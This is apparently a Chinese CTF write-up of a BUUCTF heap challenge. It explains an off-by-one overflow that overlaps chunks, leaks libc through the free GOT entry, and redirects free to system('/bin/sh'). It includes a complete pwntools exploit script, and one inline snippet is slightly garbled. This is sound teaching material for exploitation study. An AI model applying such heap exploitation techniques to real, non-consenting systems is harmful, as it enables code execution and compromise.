BUUCTF[堆][of_by_one]

堆中of_by_one

介绍:

  1. 严格来说 off-by-one 漏洞是一种特殊的溢出漏洞,off-by-one 指程序向缓冲区中写入时,写入的字节数超过了这个缓冲区本身所申请的字节数并且只越界了一个字节
  2. 溢出字节为可控制任意字节 :通过修改大小(size字段值)造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据。

例题:

题目:BUUCTF在线评测 (buuoj.cn)

  1. 先看一下create函数创建出来的heap结构:

    image-20240709153741797

  2. delete函数中将heap指针清0了,所以不能利用UAF:

    image-20240709154254757
  3. 但是在edit函数中,存在of_by_one漏洞,会多接受一个输入,可以利用着来覆盖下一个chunk的size大小,从而实现chunk的覆盖:

    image-20240709154340482

利用:

  1. 首先我们申请的长度要恰好到下一个chunk的size字段,所以必须将下一个chunk的prev_size字段沾满,不能留空隙,所以申请的大小必须为0x10的整数倍+8

    image-20240709154846223

    这种情况才能占满(将下一个chunk的prev_size字段占满,才能顺利覆盖到后面的size字段):

    image-20240709155150227

  2. 先申请两个大小为0x18的heap:

    add(24,b'a')    #0
    add(24,b'b')    #1
    
  3. 再编辑chunk0,利用of_by_one漏洞,覆盖掉chunk1的size字段,大小最少要为0x:

    edit(0,B'/bin/sh\x00'+ b"\x00"*16+b'\x41')
    
  4. 再释放掉chunk1,此时就能得到一个0x40和一个0x10的fastbin:

    image-20240709155927573

  5. 此时再申请一个大小为0x30的chunk2,就会将fastbins[0x40]分配给我们(但是实际的大小只有0x18,但是写入的大小就是0x30了),可以导致chunk之间的覆盖(变向堆溢出)。但是如何填充数据泄漏libc地址呢?,需要使用到show函数,并且利用前面造成的堆溢出将content地址改为函数的got表地址(这里以free函数为例):

    image-20240709160525868

    add(0x30,b"A"*16 + p64(0)*+p64(0x21)+p64(0x30)+p64(elf.got["free"]))  #2
    

    image-20240709161225369

    调用show函数输出chunk2就能泄漏libc地址,再计算活得system的地址:

    printf(1)
    p.recvuntil(b"Content : ")
    addr = u64(p.recv(6).ljust(8,b'\x00'))
    print(hex(addr))
    libc_base = addr - 0x844f0
    sys_addr = libc_base + 0x45390
    sh_addr = libc_base + 0x18cd17
    log.success("libc_addr==>"+hex(libc_base))
    log.success("system_addr==>"+hex(sys_addr))
    log.success("bin_sh_addr==>"+hex(sh_addr))
    
    

    image-20240709161346767

  6. 最后利用edit(2),将free函数的got表中的数据修改为system的地址,即可完成对free函数的挟持,前面再第一次溢出在content处时填入的"/bin/sh"其地址就会作为free函数的参数(system(“/bin/sh”)):

    image-20240709162238290

    edit(1,p64(sys_addr))
    

    image-20240709161912317

  7. 最后free(0)即可拿到flag。EXP:

    from pwn import *
    from LibcSearcher import *
    # 设置系统架构, 打印调试信息
    # arch 可选 : i386 / amd64 / arm / mips
    context(os='linux', arch='amd64', log_level='debug')
    
    # p = remote("node5.buuoj.cn",25567)
    p = process("./pwn")
    libc = ELF('./libc-2.23.so')
    elf = ELF("./pwn")
    n2b = lambda x    : str(x).encode()
    rv  = lambda x    : p.recv(x)
    ru  = lambda s    : p.recvuntil(s)
    sd  = lambda s    : p.send(s)
    sl  = lambda s    : p.sendline(s)
    sn  = lambda s    : sl(n2b(n))
    sa  = lambda t, s : p.sendafter(t, s)
    sla = lambda t, s : p.sendlineafter(t, s)
    sna = lambda t, n : sla(t, n2b(n))
    ia  = lambda      : p.interactive()
    rop = lambda r    : flat([p64(x) for x in r])
    def add(size,content):
        sla(b'Your choice :','1')
        sla(':',str(size))
        sla(':',content)
    
    def edit(idx, content):
        sla(':','2')
        sla('Index :',str(idx))
        # sla(':',str(len(content)))
        sa(b':',content)
    
    def printf(index):
        p.sendlineafter(b'Your choice :',b'3')
        p.sendlineafter(b'Index :',str(index).encode())
    
    def free(idx):
        sla(':','4')
        sla(':',str(idx))
    
    
    add(24,b'a')    #0
    add(24,b'b')    #1
    edit(0,B'/bin/sh\x00'+ b"\x00"*16+b'\x41')
    free(1)
    add(0x30,b"A"*8 + p64(0)*2+p64(0x21)+p64(0x30)+p64(elf.got["free"]))  #2
    
    printf(1)
    p.recvuntil(b"Content : ")
    addr = u64(p.recv(6).ljust(8,b'\x00'))
    print(hex(addr))
    
    libc_base = addr - 0x844f0
    sys_addr = libc_base + 0x45390
    sh_addr = libc_base + 0x18cd17
    log.success("libc_addr==>"+hex(libc_base))
    log.success("system_addr==>"+hex(sys_addr))
    log.success("bin_sh_addr==>"+hex(sh_addr))
    
    edit(1,p64(sys_addr))
    free(0)
    
    p.interactive()
    
    
    

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值